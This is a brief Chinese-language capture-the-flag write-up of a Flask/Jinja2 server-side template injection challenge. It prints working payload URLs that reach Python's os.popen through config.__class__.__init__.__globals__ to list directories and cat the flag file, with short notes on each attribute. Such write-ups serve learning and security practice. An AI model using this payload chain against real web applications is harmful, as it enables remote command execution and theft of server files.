进入页面之后F12没发现什么有用的东西。
照例看看config:
http://114.67.175.224:12482/?flag={{config}}
没有flag
试一试
http://114.67.175.224:12482/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
__class__
:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
__init__
初始化类,返回的类型是function
__globals__[]
使用方式是 函数名.__globals__
获取function所处空间下可使用的module、方法以及所有变量。
os.popen()
方法用于从一个命令打开一个管道。
open()
方法用于打开一个文件,并返回文件对象
页面显示:
先进app:
http://114.67.175.224:12482/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
看到flag了,直接cat
http://114.67.175.224:12482/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
得到flag